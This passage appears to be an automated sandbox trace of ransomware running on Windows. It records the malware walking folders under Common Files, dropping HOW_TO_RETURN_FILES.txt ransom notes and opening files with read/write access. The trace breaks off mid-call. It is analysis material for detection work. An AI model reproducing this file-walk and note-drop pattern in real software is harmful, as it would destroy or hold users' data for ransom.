[0125.090] AreFileApisANSI () returned 1 [0125.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0125.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0125.114] GetFileType (hFile=0x13c) returned 0x1 [0125.115] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0125.115] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.116] AreFileApisANSI () returned 1 [0125.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0125.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.116] GetFileType (hFile=0x130) returned 0x1 [0125.117] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0125.117] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0125.117] AreFileApisANSI () returned 1 [0125.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0125.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0125.117] GetFileType (hFile=0x12c) returned 0x1 [0125.118] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0125.118] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0125.118] AreFileApisANSI () returned 1 [0125.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0125.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0125.119] GetFileType (hFile=0x128) returned 0x1 [0125.120] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.120] AreFileApisANSI () returned 1 [0125.120] GetACP () returned 0x4e4 [0125.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="Servicest Shared", lpUsedDefaultChar=0x37e064) returned 8 [0125.120] AreFileApisANSI () returned 1 [0125.120] GetACP () returned 0x4e4 [0125.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=39, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Services\\7ŀӄ랣") returned 39 [0125.120] AreFileApisANSI () returned 1 [0125.120] GetACP () returned 0x4e4 [0125.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 1 [0125.120] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.120] AreFileApisANSI () returned 1 [0125.120] GetACP () returned 0x4e4 [0125.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 2 [0125.120] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.120] AreFileApisANSI () returned 1 [0125.120] GetACP () returned 0x4e4 [0125.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="verisign.bmp", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="verisign.bmpfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 12 [0125.120] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.121] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0125.121] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0125.121] AreFileApisANSI () returned 1 [0125.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a4190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0125.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\services\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0125.122] GetFileType (hFile=0x128) returned 0x1 [0125.122] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.122] AreFileApisANSI () returned 1 [0125.122] GetACP () returned 0x4e4 [0125.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpeechEngines", cchWideChar=13, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="SpeechEnginesred", lpUsedDefaultChar=0x37e064) returned 13 [0125.122] AreFileApisANSI () returned 1 [0125.123] GetACP () returned 0x4e4 [0125.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=44, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\") returned 44 [0125.123] AreFileApisANSI () returned 1 [0125.123] GetACP () returned 0x4e4 [0125.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 1 [0125.123] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.123] AreFileApisANSI () returned 1 [0125.123] GetACP () returned 0x4e4 [0125.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 2 [0125.123] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.123] AreFileApisANSI () returned 1 [0125.123] GetACP () returned 0x4e4 [0125.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MicrosoftotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dfd8) returned 9 [0125.123] AreFileApisANSI () returned 1 [0125.123] GetACP () returned 0x4e4 [0125.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=54, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\괈j館i-") returned 54 [0125.124] AreFileApisANSI () returned 1 [0125.124] GetACP () returned 0x4e4 [0125.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".Un7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0125.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.124] AreFileApisANSI () returned 1 [0125.124] GetACP () returned 0x4e4 [0125.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0125.124] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.124] AreFileApisANSI () returned 1 [0125.124] GetACP () returned 0x4e4 [0125.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TTS20", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TTS20LGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 5 [0125.124] AreFileApisANSI () returned 1 [0125.124] GetACP () returned 0x4e4 [0125.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\7㖙ĺ?") returned 60 [0125.124] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0125.125] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.125] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0125.125] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.125] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="en-US+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 5 [0125.125] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=66, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\㗃ĺ=") returned 66 [0125.125] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b754c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/\x10", lpUsedDefaultChar=0x37de34) returned 1 [0125.125] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 1 [0125.125] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b754c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/\x10", lpUsedDefaultChar=0x37de34) returned 2 [0125.125] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 1 [0125.125] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="enu-dsk", cchWideChar=7, lpMultiByteStr=0x6b754c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="enu-dskL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/\x10", lpUsedDefaultChar=0x37de34) returned 7 [0125.125] AreFileApisANSI () returned 1 [0125.125] GetACP () returned 0x4e4 [0125.125] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=74, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\ȁ") returned 74 [0125.126] AreFileApisANSI () returned 1 [0125.126] GetACP () returned 0x4e4 [0125.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6bf914, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0125.126] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6bfc48 | out: lpFindFileData=0x6bfc48) returned 1 [0125.126] AreFileApisANSI () returned 1 [0125.126] GetACP () returned 0x4e4 [0125.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6bf914, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37dda8) returned 2 [0125.126] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6bfc48 | out: lpFindFileData=0x6bfc48) returned 0 [0125.126] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0125.127] AreFileApisANSI () returned 1 [0125.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 98 [0125.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.128] GetLastError () returned 0x5 [0125.128] GetLastError () returned 0x5 [0125.128] SetLastError (dwErrCode=0x5) [0125.128] GetLastError () returned 0x5 [0125.128] SetLastError (dwErrCode=0x5) [0125.128] GetLastError () returned 0x5 [0125.128] SetLastError (dwErrCode=0x5) [0125.128] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 1 [0125.128] AreFileApisANSI () returned 1 [0125.128] GetACP () returned 0x4e4 [0125.128] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTTSFrontendENU.dll", cchWideChar=20, lpMultiByteStr=0x6b754c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="MSTTSFrontendENU.dllDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pV6TOktr2CXX/\x10", lpUsedDefaultChar=0x37de34) returned 20 [0125.129] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 1 [0125.129] AreFileApisANSI () returned 1 [0125.129] GetACP () returned 0x4e4 [0125.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTTSLoc.dll.mui", cchWideChar=16, lpMultiByteStr=0x6b754c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="MSTTSLoc.dll.mui.dll", lpUsedDefaultChar=0x37de34) returned 16 [0125.129] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.129] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bf698 | out: lpFindFileData=0x6bf698) returned 0 [0125.130] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0125.130] AreFileApisANSI () returned 1 [0125.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0125.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.130] GetLastError () returned 0x5 [0125.130] GetLastError () returned 0x5 [0125.130] SetLastError (dwErrCode=0x5) [0125.130] GetLastError () returned 0x5 [0125.130] SetLastError (dwErrCode=0x5) [0125.130] GetLastError () returned 0x5 [0125.130] SetLastError (dwErrCode=0x5) [0125.130] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.130] AreFileApisANSI () returned 1 [0125.130] GetACP () returned 0x4e4 [0125.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTTSCommon.dll", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSTTSCommon.dllQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 15 [0125.131] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.131] AreFileApisANSI () returned 1 [0125.131] GetACP () returned 0x4e4 [0125.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTTSEngine.dll", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSTTSEngine.dll", lpUsedDefaultChar=0x37dec0) returned 15 [0125.131] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.131] AreFileApisANSI () returned 1 [0125.131] GetACP () returned 0x4e4 [0125.131] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSTTSLoc.dll", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MSTTSLoc.dlldll", lpUsedDefaultChar=0x37dec0) returned 12 [0125.131] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.131] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.131] AreFileApisANSI () returned 1 [0125.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7378, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.131] GetLastError () returned 0x5 [0125.131] GetLastError () returned 0x5 [0125.131] SetLastError (dwErrCode=0x5) [0125.131] GetLastError () returned 0x5 [0125.131] SetLastError (dwErrCode=0x5) [0125.131] GetLastError () returned 0x5 [0125.131] SetLastError (dwErrCode=0x5) [0125.131] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0125.132] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0125.132] AreFileApisANSI () returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0125.132] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0125.132] GetFileType (hFile=0x12c) returned 0x1 [0125.133] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0125.133] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0125.133] AreFileApisANSI () returned 1 [0125.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0125.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\speechengines\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0125.134] GetFileType (hFile=0x128) returned 0x1 [0125.135] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.135] AreFileApisANSI () returned 1 [0125.135] GetACP () returned 0x4e4 [0125.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="System", cchWideChar=6, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="SystemEngines", lpUsedDefaultChar=0x37e064) returned 6 [0125.135] AreFileApisANSI () returned 1 [0125.135] GetACP () returned 0x4e4 [0125.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699928, cbMultiByte=37, 